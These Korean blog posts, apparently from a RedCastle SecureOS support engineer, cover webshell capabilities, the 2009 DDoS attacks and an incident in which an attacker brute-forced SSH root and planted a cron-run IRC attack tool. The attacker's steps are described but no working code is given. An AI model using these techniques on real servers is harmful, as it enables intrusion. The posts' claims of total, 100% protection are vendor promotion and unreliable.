이 hack.sh를 실행하면 스크립트에 포함된 두개의 명령이 차례대로 실행된다.


/tmp/hack.sh 스크립트가 실행된 것을 확인할 수 있다.
 
웹쉘은 실행파일은 물론 쉘스크립트, 그리고 Perl 스크립트도 실행이 가능하다. 인터넷을 조금만 검색하면 icmp, udp, tcp의 보안 취약성을 이용한 DOS, DDOS 공력용 Perl스크립트를 비롯한 다양한 공격 도구들을 쉽게 구할 수 있다.
또한 자동 ftp 스크립를 만들어 웹쉘로 작성한 뒤 실행하면 외부의 서버로 ftp 접속을 하여 파일을 다운로드 받는 것도 가능하다.

웹쉘로 못할 것이 없는 것이다.

그렇다면 웹쉘을 차단하는 근본적인 방법은 없는 것일까?? IPS와 웹방화벽은 현실적으로 웹쉘을 효과적으로 차단하지는 못한다. 현실적인 여러가지 이유와 오탐의 위험때문에 패킷스니핑방식의 보안솔루션으로는 웹쉘을 차단하는 것은 불가능하다.

하지만 서버보안S/W인 RedCastle을 이용하여 아주 간단한 두개의 정책만 추가해주면 웹쉘의 실행을 완벽하게 차단할 수 있다.

RedCastle이 제공하는 파일접근통제정책에 다음과 같은 정책을 추가해주면 된다.

1. 운영체제의 모든 명령어들을 웹서버 (httpd 및 java 등)을 통해 실행하지 못하도록 한다.
2. /tmp 및 /var/tmp 디렉토리에서 웹서버가 스크립트 및 실행파일을 실행하지 못하도록 한다.
3. 웹서버의 업로드 경로에서 아무도 실행권한을 사용하지 못하도록 한다.

RedCastle SecureOS를 통한 정책의 추가는 아주~~쉽고 그 효과는 100% 확실하다.



  • 질문좀요.. 2010.03.28 13:17

    레드캐슬 저건 어디서 구할수있나요?

  • mizz 2010.04.12 03:13

    저 웹쉘 소스 좀 알 수 있을까요 ㅠㅠ

    mizzzzzz@naver,com 으로 보내주시면 진짜 감사하겠습니다 ㅜㅠㅜ

    • 주인장 2010.04.13 23:33

      더 성능좋은 웹쉘은 인터넷을 조금만 검색해보면 많이 찾을 수 있습니다.
      한번 검색해보세요~

  • proxyolism 2010.08.16 00:21

    퍼갈께요 ^^ 웹해킹공부하고있는데 자료 찾고있었습니다 ㅎㅎ 도움많이됬어요.

  • colroni 2010.08.24 19:10

    웹쉘을 막을려고 하는데 어떻게 설정을 해야하고 웹쉘파일을 찾는 방법도 알려주시면 감사하겠습니다.
    급합니다. colroni@naver.com

    • 주인장 2010.08.25 07:30

      서버보안 S/W가 없는 상태에서 웹쉘의 실행을 차단하는 것은 현실적으로 불가능합니다. IPS나 웹방화벽에서 알려진 웹쉘의 패턴을 인식하여 차단하는 것은 가능할지 모르지만 작정하고 덤비는 해커들이 알려진 웹쉘을 그저 사용만 할 가능성은 별로 없습니다.
      서버보안 S/W 없이 웹쉘을 막기 위해서는 "웹쉘의 업로드"를 차단하는 것이 가장 좋은 방법입니다. 어느 경로에 웹쉘이 생성되는 지를 확인하시고 웹 소스를 분석하여 어떤 취약성을 이용하여 웹쉘을 업로드 하는지를 빨리 찾아내는 것이 좋습니다. 찾아내셨다면 그 취약성을 제거하도록 웹 소스를 수정하셔야 합니다.

  • colroni 2010.08.25 10:37

    발단은 특정페이지 맨 끝단에 자바스크립트가 삽입이 되어있었습니다.
    그래서 ftp log를 살펴보아도 딱히 어떤 파일을 업로드한 흔적이 없습니다.
    어떻게 이런일이 가능한지..이게 자바스크립트 해킹인가요?
    막을 수 있는 방법이 없을까요?

    • 주인장 2010.08.25 21:23

      FTP 이외에도 여러가지 방법으로 홈페이지를 변조할 수 있습니다. 그리고 웹 소스와 플래시, 어도비 모듈 등을 사용하는 웹사이트에 존재하는 모든 취약성을 제거하는 것도 결코 만만한 작업은 아닙니다. 개발자가 취약성을 한개도 없이 웹사이트를 만드는 것은 거의 불가능한 현실이니까요.
      SQL인젝션, PHP인젝션 취약성 제거 그리고 웹서버의 설정, 계정 비밀번호 변경 등 원론적인 대책밖에는 없는 것이 현실입니다.
      SecureOS를 도입하지 않는다면 개발자와 관리자의 노력에 의존해 해커와 싸우는 방법 밖에는 없습니다.

  • 0000 2012.12.30 22:54

    제 서버에서 돌려보니 웹쉘이 업로드는 되고
    클릭을 하니깐 다운로드를 하라고 뜨는데 이런경우는 공격이안되는건가요?

  • Antares 2012.12.31 12:28

    어떻게 올리셨는지..서버는 어떤 서버인지 자세한 정보를 모르니 정확한 답변은 어렵지만..
    웹쉘 파일의 확장자를 뭘로하셨는지..그리고 "클릭"을 어떤 환경에서 하신건지에 따라 가능할 수도 불가능할 수도 있습니다.


지금 (2009년 7월 8일) 현재 다수의 국가기관과 금융기관들.. 그리고 쇼핑몰 그리고 포털에 대한 DDOS 공격이 계속되고 있다. 심지어 안철수연구소 등 백신업체의 홈페이지까지도 공격의 대상이 되고 있다.

DDOS 공격 즉 "분산 서비스 거부 공격"은 특정 웹사이트에 대량의 통신 데이터를 보내 해당 웹사이트가 감당하지 못하는 상황을 유발시켜 사이트를 다운 시키는 공격이다. 이때 공격을 하는 수 많은 PC들은 자신이 그러한 공격을 하고 있다는 사실 조차 모르는 경우가 대부분이다.

그런데 지금.. KISA를 비롯한 주요 보안 기관들과 백신 업체들 그리고 언론들은 짧은(?) 지식을 바탕으로 수백만 PC에 백신을 설치하라고 부산을 떨고 있다. 하지만 백신을 이미 설치했다 하더라도 신종 악성봇이기 때문에 백신들은 잡아내지 못한다. -.-  거의 불가능한 요구를 전국민을 상대로 하고 있는 것이다. 마치 모은 잘못이 개인들에게 있고 개인들이 문제를 해결해야만 하는 것처럼 말이다. 한국정보보호진흥원 조차도 "보안이 취약한 PC가 공격에 이용되고 있다"고 말한다.

그러나 작금의 사태의 원인은 개인PC에 있다기 보다는 공격에 동원된 PC를 공격프로그램(악성봇이라고도 함)에 감염시키는데 악용된 중계서버에 있다고 보는 것이 옳다. 악성봇을 일반 사용자들의 PC에 감염시키는 중계역할을 하도록 해킹당하거나 보안취약성을 갖고 있는 수많은 상업적 목적 혹은 공공기관의 서버들에 대한 보안조치는 꿈조차 꾸지 못하고 있으면서 일반 국민들에게만 책임을 전가하고 문제 해결의 열쇠가 마치 개인 사용자들에게 있는 것처럼 원인을 호도하고 있다.

이번 공격에 동원되는 수많은 PC들은 과연 어떻게 해서 그런 공격도구(악성봇)에 감염되었을까?

포털과 공공기관의 수많은 웹으로 만들어진 게시판들... 그리고 쇼핑몰의 업자들이 올리는 쇼핑몰 웹 페이지들... 바로 그곳들이 수만대의 PC에 악성봇을 감염시킨 주범들일 것이다. 그런데도 문제 해결의 방법을 수백만대의 개인PC에서 찾다니.. 얼마나 무책임한 발상인가 말이다. 게다가 백신을 이미 설치했다하더라도 새로운 악성봇이나 바이러스는 잡아내지 못한다. 따라서 개인으로서는 "주의"하는 방법밖에는 없는 것이다.

그럼에도 불구하고 DDOS 공격이 있을 때마다 "개인들의 PC가 문제다"라는 식으로 대응하는 것은 기업이나 포털 그리고 공공기관이나 금융기관들의 책임을 회피하는 아주 나쁜 책임전가 일 뿐이며 변형된 악성봇들이 나타날때마다 지금과 같은 난리를 치러야하는 것이다.

2년전... 모 쇼핑몰에서 악성코드의 배포지로 악용하기 위해 쇼핑몰의 Java Script 파일이 계속적으로 변조되는 공격을 감지하고 SecureOS를 도입한 사례가 있다. SecureOS를 이용해 웹페이지의 주요 소스파일들에 대해 변조를 차단하도록 정책을 설정한 뒤 해당 문제가 해결되었다.

악성코드를 배포하기 위한 경유지로 악용되는 경우 해당 경유서버에는 별다른 피해를 주지 않는 것도 이런 공격의 특징이다. 지속적으로 악성봇을 불특정 다수의 PC를 감염시킬 수 있기 때문에 조용히 피해를 주지않는 것이다. 그래서인지 서버를 운영중인 기업이나 공공기관, 금융기관과 포털들은 쉬쉬~하면서 자신들의 서버가 개인PC를 악성봇에 감염시키고 있다는 것을 숨기는 것이다.

PC에 백신을 설치하는 것도 중요하겠지만 게시판이나 파일을 업로드 할 수 있는 웹서버를 운영하거나 수많은 사람들이 방문하는 웹사이트의 웹서버에 SecureOS를 설치하고 보안정책을 적용하여 악성봇을 전파할 수 있는 경로를 차단하는 것이 더 중요하지 않을까 생각된다. 그러기 위해서는 서버를 운영하는 주체가 자신들의 서버가 악성프로그램이나 코드를 개인사용자들의 PC에 감염시키는 중계서버로 이용되지 않도록 더욱 보안에 관심을 기울여야 할 것이다.

== 2009. 07. 08 DDOS공격으로 난리난 어느날... ==





시간 참 빠르게 흘러간다.  7.7 대란 (DDOS공격)이 있었던 지도 벌써 4개월이 지났다.  “DDOS 공격이란 용어가 일반인들 사이에서 이제 점점 잊혀져 가고 있을 그런 시간이 되었다. 그런데 조금 전 웹서핑을 하다가 아직도 DDOS 공격이 계속되고 있다는 기사를 보게 되었다.

제목이 무척이나 비장하게 느껴지는 건 아마도 내가 관련업종에서 일하고 있기 때문이리라..

“DDoS 공격 아직 끝나지 않았다’”

 

그렇다. DDoS 공격은 7.7 이전에도 계속 있어왔고 그 이후에도 계속 있었으며 앞으로도 영원히 계속될 것이다.

 

그 이유는 무었일까…?

 

많은 사람들이 DDoS 공격을 막아야 한다는 데에는 모두 공감한다. 하지만 어떻게 막아야 하는가에 대해서는 의견이 분분하다. DDoS 공격을 차단하기 위해 이러쿵 저러쿵 많은 의견들이 있지만 몇 가지로 요약해보면 다음과 같다.

 

먼저 전국의 모든 PC에 백신을 설치해야 한다는 주장으로 이는 책임 전가형이다.

 

수 만대 이상으로 예상되는 공격도구에 감염된 좀비PC”를 없애야 하므로 백신을 모두 설치해서 공격도구에 감염되지 않도록 해야 한다는 주장이다. 심지어 인터넷에 접속하기 위해서는 의무적으로 PC에 백신을 설치해야만 하도록 해야 한다는 공산주의 혹은 전체주의적 발상까지도 서슴지 않는 부류다. 그러나 이 방법은 해커들이 지속적으로 새로운 공격도구나 변형된 공격도구를 만들어내기 때문에 별 실효성이 없는 방안이다. 그리고 일반 사용자들에게 어떻게 백신을 의무적으로 설치하도록 할 수 있겠는가? 그저 적극적인 홍보를 통해 공격도구 감염을 최소화하기 위한 방안일 뿐이다. 이 방안은 전국민을 해커로 몰아세우는 책임전가일 뿐이다.

 

다음으로는 DDoS 공격을 막기 위한 DDoS 차단 솔루션을 도입해야 한다는 주장으로 이는 너무 소극적인 방법이다.

 

DDoS 공격 차단 솔루션들은 아직 제대로 검증되지 못했으며 당장은 효과를 볼 수 있다 하더라도 머지않아 창의적인 해커들의 새로운 DDoS 기법이 출현할 것이 뻔하기 때문에 그리 효율적이지 못한 방법이다. TCP/IP 프로토콜의 소스와 구조가 완전하게 개방되어 있는 상황이기 때문에 네트워크 기반의 DDoS 차단 솔루션을 우회하거나 속이는 방법이 머지않아 출현할 가능성이 높기 때문이다.

 

그렇다면 이쯤에서 왜 DDoS 공격이 끊이지 않고 계속 발생하는지를 고민해볼 필요가 있다. 많은 보안 전문가들과 사이버수사대가 DDOS 공격의 진원지를 찾는데 에는 혈안이 되어 있다. 그리고 좀비PC를 찾아 IP를 차단하는 소극적인 대처는 열심히 하고 있다. 그러나 어디에서도 어느 기사에서도 수많은 PC를 좀비PC로 만든 중간 감염서버들에 대해서는 쉬쉬~하고 있는 이유가 참으로 궁금하다. 어쩌면 그 존재에 대해 정말로 모르고 있는 것 같기도 하다.

 

다음 그림을 보자.

 

연합뉴스에서 올린 DDOS 공격관련 개념을 설명하는 그림이다. 박스 하단의 악성코드 전파서버는 필자가 그려 넣은 그림이다. 실제로 DDoS 공격을 하기 위해서는 해커의 명령에 따라 공격을 수행하는 수많은 좀비PC C&C 서버들이 필요하다.

 

해커들이 그 수많은 공격도구가 설치된 PC”들 즉 좀비PC라 일컫는 PC와 중간에서 명령을 좀비PC에 하달하는 C&C 서버를 어떻게 확보할까? 설마 일일이 해당 PC와 서버 앞에 가서 공격도구를 설치하지는 않을 텐데 말이다. 그 방법은 여러 가지가 있지만 가장 흔한 방법 몇 가지를 소개하면 다음과 같다.

 

1.     공격도구가 첨부파일로 들어간 이 메일을 무작위로 보내 첨부파일을 실행하면 공격도구에 감염되도록 한다.

2.     인터넷에 즐비한 웹사이트를 해킹하여 사람들이 많이 방문하는 웹페이지를 변조하고 해당 웹페이지에 웹브라우저로 접근하면 공격도구가 있는 웹페이지로부터 다운로드 받아 설치되게 한다.

3.     메신저를 통해 파일을 전송하여 다운로드 받고 설치되게 한다.

 

이 중에서 3번은 정말 어떠한 보안 시스템으로도 차단하는 것이 불가능에 가깝다. 알려진 공격도구라면 백신을 통해 막을 수 있겠지만 7.7 대란처럼 새롭게 만들어진 공격도구라면 막을 수가 없다.

 

1번의 경우도 마찬가지다. 이메일 보안 시스템들이 있지만 역시 새로운 공격도구나 공격패턴이라면 차단하는 것이 불가능 하다.

 

이쯤 되면 1번과 3번의 공격에 의한 사용자 PC의 공격도구 감염여부는 순전히 개인 사용자들의 보안마인드에 달려있다고 해도 과언이 아니다.

 

1번과 3번의 경우 이미 백신에서 7.7 대란에서 해커에 의해 사용된 공격도구의 감염을 차단하고 있다. 비록 사후약방문 격이지만 사후대책으로는 그래도 충분한 효과를 발휘하고 있다. 하지만 아직까지 7.7 대란에 사용된 공격도구를 감염시키는 중계서버 역할을 수행하고 있는 홈페이지 서버들이 존재하고 있는 한 백신이 설치되지 않은 PC는 지속적으로 감염이 될 수 밖에 없다.  그럼에도 불구하고 2번 공격에 의해 해킹당한 서버들의 존재와 위험성 그리고 해당 서버들이 해킹 당한 사실에 대해서는 모두 함구하고 있다.

 

왜일까..?

 

그것은 바로 해킹 당한 사실을 감추기에 급급한 잘못된 보안 마인드와 IT보안 전문가라는 사람들조차 서버 운영체제에 대한 지식과 웹 서버의 해킹메커니즘에 대해 제대로 알지 못하기 때문인 경우가 대부분이다.

 

Unix Linux 웹서버를 운영하는 사이트들의 경우 파일과 프로세스의 소유자 및 접근 권한에 대해 무지하여 웹서버나 WAS 대몬의 소유자와 홈페이지 소스파일의 소유자 및 권한 설정이 잘못되어 있는 경우가 태반이다. 또한 윈도의 경우 운영체제의 근본적인 취약성으로 인해 운영체제의 취약성이 즉각적으로 홈페이지 위변조를 가능하게 된다.

 

하지만 이러한 취약성은 방화벽이나 IPS, 웹방화벽으로는 해킹을 막을 수 없다는 사실을 보안전문가들 조차도 시원스레 말해주지 않는다. 방화벽이나 IPS, 웹방화벽을 만드는 솔루션업체는 그러한 사실을 영업적인 이유로 인해 당연시하며 감추기에 급급하고 보안컨설팅 업체들도 그러한 해킹을 막을 수 있는 방법에 대해 알지 못하기 때문에 침묵하고 있다.

 

그렇다면 2번의 해킹을 막을 수 있는 방법은 없을까?

 

만약 2번의 해킹을 막거나 실시간으로 적발해낼 수 있다면 공격 근원지를 조기에 찾아 차단하는데 큰 도움이 될 것이다.

웹서버 자체의 취약성이나 Java의 취약성 그리고 오픈소스 게시판들의 취약성이 어쩔 수 없이 존재한다고 하면 2번의 해킹을 막기 위한 현재로서의 유일한 방법은 SecureOS를 이용해 홈페이지 소스파일들에 대해 근본적인 접근제어를 수행하는 방법밖에 존재하지 않는다.

 

해커들이 공격도구 전파서버로 만들기 위해 특정웹서버를 해킹 할 때 SecureOS 등을 통해 홈페이지 위변조 방지 정책이 적용되어 있다면 해커는 원격지에서 어떠한 방법으로도 홈페이지를 해킹하여 사용자들의 PC에 공격도구를 감염시키는 중계서버로 악용할 수 없다.

 

홈페이지 해킹을 근본적으로 차단하고 실시간으로 탐지해낼 수 있는 것이다.

 

하지만 네트워크 보안에 너무도 치중되어 있는 우리나라의 보안산업 구조상 서버 내의 자산(파일, 프로세스, 계정)에 대한 보안정책을 수립해줄 보안 전문가는 찾아보기 힘들며 네트워크에서 모든 보안을 담당해야 한다는 잘못된 마인드가 형성되어 있어 서버보안에 대한 필요성 자체를 크게 느끼지 못하는 정말 상황이 여기저기서 벌어지고 있다.

 

어느 하나의 보안 솔루션 만으로는 해킹을 차단할 수 없다.

 

네트워크 접근은 방화벽에서 담당하고 TCP/80을 차단할 수 없는 웹서버와 TCP/25를 차단할 수 없는 이메일 서버는 SecureOS에서 담당하여 홈페이지와 메일서버에 대한 보안을 강화하는 것이 기본이다. 더 나아가 내부자에 의한 악의적은 해킹을 막기 위해 DB보안과 서버보안을 강화하는 것이 좋다.

 

DDoS 공격을 방어하기 위해 네트워크 보안과 백신에 의존하려는 것은 바이러스에 의한 독감을 치료하기 위해 해열제와 기침약을 지속적으로 처방하는 것과 다르지 않다. 독감을 예방하기 위해서는 적절한 시기에 적절한 독감 백신을 맞아야 하는 것이다.

 




2009년 7월.... 청와대와 백악관 그리고 여러 포털과 대형인터넷쇼핑몰들 그리고 다수의 공공기관들의 웹사이트가 DDOS공격을 받았다. 정보보호진흥원과 국가정보원 그리고 사이버수사대와 백신업체들은 사태파악과 원인분석을 위해 동분서주하고있다.  그리고 언론들과 정보보호전문가들은 마치 전국의 수백만 PC가 이번사태의 원인인것처럼 사태를 호도하고 있다. 정보보호진흥원 관계자의 말을 인용한 언론의 보도를 재인용하면 "수많은 보안에 취약한 PC"들이 이번 DDOS 공격을 한 원흉(?)인것처럼 말한다.

그렇다면 전국민이 대한민국의 모든 PC에 백신을 설치하여 사용하고 있었다면 이런 사태가 벌어지지 않았을까? 

대부분의 DDOS공격이 그렇듯 백신이 설치되어 있었다하더라도 이번 공격은 이루어졌을 것이다. 왜냐하면 새롭게 등장한 변종 공격도구는  백신의 패턴이 업데이트되기 전에는 잡아내지 못하기 때문이다. 그럼에도 불구하고 마치 "개인PC들이 문제다"라는 발언은 너무도 무지하고 무책임한 발언이 되는 것이다.

그렇다면 DDOS 공격은 어떠한 과정에 의해 이루어질까....

DDOS공격은 불특정 다수의 개인PC에서 이루어진다. 그러기 위해서는 수많은 PC에 DDOS공격을 수행하는 악성 프로그램을 감염시켜야 한다. 수많은 PC가 어디에선가 DDOS공격도구를 다운로드 받도록 유도해야 한다.  해커의 입장에서 빠른시간에 수많은 좀비PC(DDOS공격도구를 다운로드 받아 실행하는 PC)를 확보하기 위해서는 사람들이 많이 방문하는 홈페이지를 해킹하여 DDOS공격프로그램을 다운로드 받도록 웹페이지를 변조하거나 게시판에 스크립트를 삽입하는 것이 효과적이다. 이는 결국 DDOS 공격을 하기 위해서는 여러 대형 웹사이트를 해킹하는 것이 효과적이라는 이야기다.

그렇다면 어느 웹사이트가 공격대상이 되는 것일까?

바로 대형포털이나 인터넷쇼핑몰 혹은 공공기관의 웹사이트가 DDOS 공격을 수행할 좀비PC를 확보하기 위한 중간 해킹대상이 된다.

하지만 대부분의 웹사이트 운영자와 본안전문가라는 사람들은 대형 웹사이트가 이번 DDOS공격을 위해 사용자PC를 감염시킨 원흉일 것이라는 사실에 침묵하고 있다. 그러면서 개인사용자들의 보안취약성이 원인이라는 발언이나 하고 있는 것이다. 얼마나 무책임한 변명인가 말이다.

사실 웹페이지의 해킹에 대해 IPS나 웹방화벽 이외의 보안 대책을 아는 사람들은 드물다. 또한 SecureOS가 웹페이지의 위변조를 근본적으로 차단할 수 있음을 아는 경우도 드물며 웹쉘(Web Shell)을 차단할 수 있다는 사실을 아는 보안 전문가도 드문 현실이다. 이는 보안의 관점이 네트워크와 PC에 치우쳐있어 발생하는 현실적인 문제다.

실제로 2년여전쯤 인터넷쇼핑몰의 원조격인 대형 인터넷쇼핑몰에서 지속적인 Javascript 파일의 변조시도가 있었다. 하지만 쇼핑몰에 피해를 주고자 하는 것이 아닌 쇼핑몰에 접속하는 사용자들의 PC에 악성프로그램을 감염시키기 위한 시도였다. 결국 해당 쇼핑몰은 큰 비용을 들여 서버보안S/W를 도입하여 웹의 소스파일을 보호하는 책임있는 자세를 보였다. 이는 쇼핑몰의 해킹을 차단함과 동시에 인터넷 쇼핑몰에 방문하는 사용자들의 PC에 본의아니게 악성코드를 다운로드받지 않도록 고객을 보호하는 이중의 효과를 볼 수 있는 것이다.

결국 DDOS 공격을 효과적으로 차단하기 위해서는 해커들의 좀비PC확보를 차단하는 것이 더 효과적인 방법이 될 것이다. 그러자면 웹사이트를 운영하는 정부와 공공기관 그리고 금융업체와 기업들이 서버의 보안에 더 관심을 기울여야 한다.

DDOS 공격이 있을 때마다 "보안에 무지한 개인사용자들의 PC" 탓은 더이상 하지 말았으면 한다.

=== 2009년 7월 DDOS 공격이 난무하는 어느날... ===




최근 해킹사고가 늘고 있다.

 

서버보안 S/W의 기술지원과 서버 보안 컨설팅 업무를 약 5년여 동안 하면서 고작 1년에 두 세건 정도 접할 수 있던 서버 해킹 사고가 최근 두여 동안에만 벌써 세 건이나 발생했다.

이런 보안 사고를 접하면서 지금까지 접한 해킹 형태를 문서로 정리해보고 싶은 충동이 생겨 실제 사례 중 하나를 분석하여 이 문서를 작성한다.

 

A사 웹 서버 해킹 방어 사례를 통해 본 해커들의 해킹 동선 분석

 

- 서버 환경
OS : RedHat Linux, Kernel 2.6.9-42 ELsmp (AS 4 up 4)

AP : Apache 2.x, MySQL 5.x, PHP 4.x, Tomcat 5

 

일반적으로 해커가 Root의 계정 권한 획득에 성공하게 되면 해당 서버에는 사망 선고가내려진 것과 같다는 것이 일반적인 생각(?)이다.

 

하지만 지금부터 일반적인 Unix 계열의 서버에서 해커가 root 권한의 획득까지 성공한 최악의 상황에서도 RedCastle이 설치되고 보안정책이 적절하게 적용되어 있다면 충분히 해킹을 방어할 수 있다는 사실을 실제 사례를 통해 살펴보도록 하겠다.

 

 

해킹 발견 당시 외형적인 증상

 

80번 포트를 통한 웹 서비스가 이루어지지 않았고 평소 내부 망 및 외부 망에서 관리를 위해 접속할 수 있도록 설정되어 있던 ssh 접속이 불가능 했다.

  

분석 과정

 

1.      서버로의 접근

 

먼저 외부로부터의 어떤 접속이 있었는지의 확인을 위해 RedCastle의 로그인 통제에 대한 감사로그를 확인하였으나 며칠 전 발생했던 /usr 파일시스템의 full로 인한 장애로 RedCastle로그인 서비스 접근 통제 기능을 잠시 off 하여둔 상태였다. 따라서 RedCastle의 감사로그에는 ssh 접근 기록이 없어 운영체제의 syslog를 확인하였고 단서가 될만한 로그를 확인하였다.

해커가 운영체제의 wtmp, syslog, lastlog, sulog 파일을 모두 지우고 나갔지만 RedCastle이 실시간으로 백업하여 보관하기 때문에 해당 로그를 확인할 수 있었다.

 

RedCastle이 백업하여 보관해둔 운영체제의 syslog에는 다음과 같이 수없이 많은 ssh 접근시도에 대한 로그가 있었으며 소스 IP 또한 선명하게 남아 있었다.

 

 

 위 화면의 중간에 Session opend for user root by root(uid=0) 이라는 로그가 보이고 그 아래(이전)로 반복적으로 root 계정으로의 접근 시도가 있음을 확인할 수 있다. 

 

이러한 로그는 Password Crack 툴을 원격에서 실행한 것으로 추측되며 약 10시간 동안 업무시간 이후에 발생한 것을 확인할 수 있다.

 

 

 해킹을 당할 당시 서버의 root 패스워드에는 사전에 포함된 단어는 아니었지만 키보드의 인접한 자판의 연속으로 구성된 8자의 패스워드였으며 원격에서 root로의 ssh 직접 로그인이 가능하도록 설정이 되어 있었다.

 

해커는 열려져 있는 서비스포트는 SSH 포트로 패스워드 크래킹 툴을 실행하여 약 10시간에 걸친 패스워드 유추 공격을 통해 root 계정의 획득에 성공한 것으로 확인되었다.

 
 

2.      공격도구의 Upload 및 운영체제의 위변조 시도

 

해커가 root 계정의 쉘 획득에 성공한 이후 임시작업 디렉토리인 /var/tmp 디렉토리에 운영체제의 명령어로 위장된 파일들을 upload하였고 운영체제의 주요 파일들을 위/변조하기 위해 cp 명령을 사용하여 운영체제의 파일들을 덮어쓰기 하려 하였다. 하지만 RedCastle의 운영체제 보호 정책에 의해 이러한 시도가 차단되었음을 RedCastle의 보안 감사로그를 통해 확인할 수 있다.

 

  

위의 화면에서 보이듯 root 계정을 획득한 해커가 cp 명령어를 통해 공격도구를  운영체제의 명령어와 바꿔치기 하려하였다.

 

하지만 해커가 root 계정에서 실행한 이 cp명령은 RedCastle 운영체제 바이너리 보호 정책에 의해 거부되었고 위의 화면과 같은 정책 위반 감사 로그를 남겼다. 이후 해커는 root 계정에서 실행한 cp 명령이 실행되지 않자 이해가 되지 않았는지 /usr/sbin으로 이동하여 rm 명령(Delete violation 발생)을 직접 수행해보고 이마저도 차단되자 미친듯이(?) /usr/sbin의 다른 명령어들을 덮어쓰고자 시도하여 무수히 많은 보안 위반 감사 로그를 다음 화면과 같이 남겼다.

만약 SecureOS인 RedCastle이 설치되어 있지 않았다면 ?? 생각만해도 끔찍하다.
OS 재설치하고 Apache 컴파일, Mysql 컴파일, PHP 컴파일, 홈페이지 다시 업로드 그리고 또 다시 겪게될 엄청난 시행착오와 험난한 복구 과정... 당연히 밤샘 작업과 위로부터의 눈총... -.-
 

 

 

 운영체제의 주요 파일들에 대한 위/변조 시도가 모두 차단되자 해커는 서버의 상태를 확인해보고자 netstat와 같은 명령어의 실행을 시도한다. 하지만 이 명령어도 직접 로그인한 root 계정에서는 실행하지 못하도록 한 보안정책에 위반되어 실행이 차단되고 감사 로그가 남겨졌다.

  

이후 이 해커는 화가 났는지 ps 명령어를 통해 httpd 대몬이 실행중인 웹서버임을 확인하고 httpd kill 시켰다. (이 웹서버의 Kill은 Warning 모드로 설정되어 있어 차단하지는 않고 감사기록만 남기도록 했었다.) 

 

   

3.      공격도구의 실행

 

이후 해커는 이 서버를 거점으로 다른 서버를 공격하려 한것으로 보인다.  해커는 /var/tmp/vi.hlds라는 디렉토리를 생성하고 다음과 같이 외부의 다른 서버를 공격하는 공격도구를 설치하였다.

  

IRC와 관련된 공격도구는 사후 분석결과 y2kupdate라는 스크립트를 통하여 Shell로 위장된 bash라는 프로그램을 실행하여 구동되는데 해커는 이 y2kupdate라는 스크립트를 실행하려 하였다. 그러나 OS의 임시 디렉토리가 갖는 근본적인 취약성을 제거하기 위해 설정해둔 임시 디렉토리에서의 실행 차단 정책에 의해 실행이 차단되었고 해커는 y2kupdate 1분에 1회 씩 실행하는 Crontab 작업을 root 계정에 등록해 두고 철수(?)한 듯 하다.

 

 

 

 이후에는 더 이상의 보안 위반 감사로그가 기록되어 있지 않았고 이후 해킹을 발견하기까지 약 12시간 동안 더 이상 서버에 ssh를 이용해 로그인하지 않은 것으로 보인다.

IP를 추적한 결과 다음과 같이 대만의 네트워크 회사가 나온다.


 

4.      해킹 사고의 정리

 

이 서버는 해커에게 침투를 허용했음에도 불구하고 웹서비스의 중지 이외에는 별다를 피해가 없었다. 오히려 해커는 서버에 접근 IP에 대한 기록과 해킹을 자행하려한 수많은 보안 위반 감사로그 만을 남긴 채 빠져나갔을 뿐이다.


또한 이후의 접근을 위해 백도어의 설치도 포기한 듯 백도어가 실행된 흔적또한 발겨ㄴ할 수 없었다.

 

또한 필수적인 보안 정책을 적용하여 두었기 때문에 서버에 백도어 및 운영체제의 명령어에 대한 무결성 그리고 홈페이지 및 데이터베이스에 대한 무결성을 보장할 수 있으므로 서비스를 재기동하고 잠시 열어두어 해커가 침투할 수 있는 단초를 제공했던 로그인 서비스 통제 기능을 활성화시키는 것 만으로 보안 사고의 분석과 복구를 완료할 수 있었다.

 

만약 RedCastle이 설치되어 있지 않았다면 운영체제 바이너리에 대한 무결성을 보장할 수 없을 뿐더러 어디에 설치되어 있을지, 또한 그 백도어가 언제 실행될지 알 수 없기 때문에 OS부터 재설치 작업을 진행해야 했을 것이다.

 

5.      RedCastle SecureOS의 보안 정책

 

해커가 패스워드 유추 공격을 통해 약 10여 시간만에 root 계정의 쉘을 획득하였음에도 불구하고 서버가 별다른 피해를 입지 않을 수 있었던 비결은 무엇일까 ?

 

바로 서버보안 S/W RedCastle을 이용하여 꼭 필요한 몇 가지 기본적인 보안정책을 수립하여두었기 때문이다.

 

먼저 root 계정을 탈취당하더라도 운영체제의 주요 명령어들을 보호하기 위한 OS Binary Protection Policy를 수립하였고 주요 운영체제의 설정파일들에 대해 root 계정으로도 수정하지 못하도록 하는 OS Configuration Protection 정책과 해킹에 주로 이용되는 운영체제의 임시디렉토리에서 실행 권한을 통제하는 OS Temp Directory Protection Ploicy를 적용하였다.

 

또한 웹 서비스의 위변조를 막기위해 Document Root 이하 디렉토리의 위변조 방지 정책 또한 적용하였으며 백도어의 실행을 방지하고 기존의 setuid 파일들을 보호하기 위한 Seuitd/Setgid 프로그램 실행 통제 정책 등 적극적인 형태의 해킹 방지 정책을 수립하였다.

 

이러한 실제 해킹 및 Secure OS를 통한 방어 사례를 살펴보면 방화벽, IPS, VPN 등을 이용하여 네트워크 수준에서의 보안 솔루션을 도입하더라도 복잡 다양한 서비스 및 솔루션의 버그 혹은 잠시의 실수 및 방심을 파고들어 서버에 침투할 수 있다. 그리고 일단 서버에 침투하고 난 이후에는 더 이상의 방어수단이 없이 서버가 해커에게 무방비상태로 노출되는 경우가 대부분이다.

 

위의 사례에서 보듯 지능적이고 열정적(??)인 해커들의 최종 공격 대상인 서버를 보호하기 위해서는 Secure OS를 통해 최후의 방어선을 구축할 필요가 있다. 비록 해커에게 root 권한 까지도 탈취를 당했지만 운영체제의 보호와 백도어의 차단 그리고 공격도구의 실행 방지와 홈페이지 및 데이터베이스의 보호까지 성공적으로 차단하며 사후 분석인 포렌식을 위한 감사데이터까지도 훌륭하게 남긴 것은 바로 서버보안 S/W RedCastle이 설치되고 최소한의 보안 정책이 적용되어 있었기 때문이다.



 === 출처 : 시사컴퓨터 ===

서버보안의 마지막 방어선, 안전한 운영체계

서버보안으로 기존 보안의 한계를 넘자

